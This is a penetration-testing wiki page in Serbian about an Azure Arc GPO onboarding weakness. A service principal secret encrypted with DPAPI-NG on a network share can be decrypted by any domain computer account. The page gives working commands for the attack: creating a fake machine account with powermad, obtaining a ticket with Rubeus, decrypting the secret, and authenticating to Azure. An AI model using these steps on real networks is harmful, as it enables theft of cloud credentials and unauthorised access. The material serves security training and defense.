# Az - Arc ranjivi GPO Deploy Script

{{#include ../../../banners/hacktricks-training.md}}

### Identifikacija problema

Azure Arc omogućava integraciju novih internih servera (servera pridruženih domenu) u Azure Arc koristeći metodu Group Policy Object. Da bi to olakšao, Microsoft pruža alat za implementaciju potreban za pokretanje procedure onboardinga. Unutar ArcEnableServerGroupPolicy.zip datoteke nalaze se sledeći skripti: DeployGPO.ps1, EnableAzureArc.ps1, i AzureArcDeployment.psm1.

Kada se izvrši, DeployGPO.ps1 skripta obavlja sledeće radnje:

1. Kreira Azure Arc Servers Onboarding GPO unutar lokalnog domena.
2. Kopira EnableAzureArc.ps1 skriptu za onboarding na određeni mrežni deo kreiran za proces onboardinga, koji takođe sadrži Windows instalacioni paket.

Kada se pokreće ova skripta, sys administratori treba da obezbede dva glavna parametra: **ServicePrincipalId** i **ServicePrincipalClientSecret**. Pored toga, potrebni su i drugi parametri kao što su domen, FQDN servera koji hostuje share, i naziv share-a. Dodatne informacije kao što su tenant ID, resource group, i druge neophodne informacije takođe moraju biti obezbeđene skripti.

Enkriptovana tajna se generiše u AzureArcDeploy direktorijumu na određenom share-u koristeći DPAPI-NG enkripciju. Enkriptovana tajna se čuva u datoteci pod nazivom encryptedServicePrincipalSecret. Dokazi o ovome mogu se naći u DeployGPO.ps1 skripti, gde se enkripcija vrši pozivanjem ProtectBase64 sa $descriptor i $ServicePrincipalSecret kao ulazima. Deskriptor se sastoji od SID-ova grupe Domain Computer i Domain Controller, osiguravajući da se ServicePrincipalSecret može dekriptovati samo od strane grupe sigurnosti Domain Controllers i Domain Computers, kako je navedeno u komentarima skripte.
```bash
# Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups
$DomainComputersSID = "SID=" + $DomainComputersSID
$DomainControllersSID = "SID=" + $DomainControllersSID
$descriptor = @($DomainComputersSID, $DomainControllersSID) -join " OR "
Import-Module $PSScriptRoot\AzureArcDeployment.psm1
$encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSecret)
```
### Exploit

Imamo sledeće uslove:

1. Uspešno smo penetrirali unutrašnju mrežu.
2. Imamo mogućnost da kreiramo ili preuzmemo kontrolu nad računom računara unutar Active Directory.
3. Otkrili smo mrežno deljenje koje sadrži AzureArcDeploy direktorijum.

Postoji nekoliko metoda za dobijanje računa računara unutar AD okruženja. Jedna od najčešćih je iskorišćavanje kvote računa računara. Druga metoda uključuje kompromitovanje računa računara kroz ranjive ACL-ove ili razne druge pogrešne konfiguracije.
```bash
Import-MKodule powermad
New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
```
Kada se dobije nalog mašine, moguće je autentifikovati se koristeći ovaj nalog. Možemo ili koristiti runas.exe komandu sa netonly flagom ili koristiti pass-the-ticket sa Rubeus.exe.
```bash
runas /user:fake01$ /netonly powershell
```

```bash
.\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr
```
Čuvajući TGT za naš korisnički nalog u memoriji, možemo koristiti sledeći skript za dešifrovanje tajne servisnog principala.
```bash
Import-Module .\AzureArcDeployment.psm1

$encryptedSecret = Get-Content "[shared folder path]\AzureArcDeploy\encryptedServicePrincipalSecret"

$ebs = [DpapiNgUtil]::UnprotectBase64($encryptedSecret)
$ebs
```
Alternativno, možemo koristiti [SecretManagement.DpapiNG](https://github.com/jborean93/SecretManagement.DpapiNG).

U ovom trenutku, možemo prikupiti preostale informacije potrebne za povezivanje sa Azure-om iz ArcInfo.json datoteke, koja se čuva na istom mrežnom deljenju kao i encryptedServicePrincipalSecret datoteka. Ova datoteka sadrži detalje kao što su: TenantId, servicePrincipalClientId, ResourceGroup i još mnogo toga. Sa ovim informacijama, možemo koristiti Azure CLI za autentifikaciju kao kompromitovani servisni principal.

## References

- [https://xybytes.com/azure/Abusing-Azure-Arc/](https://xybytes.com/azure/Abusing-Azure-Arc/)

{{#include ../../../banners/hacktricks-training.md}}
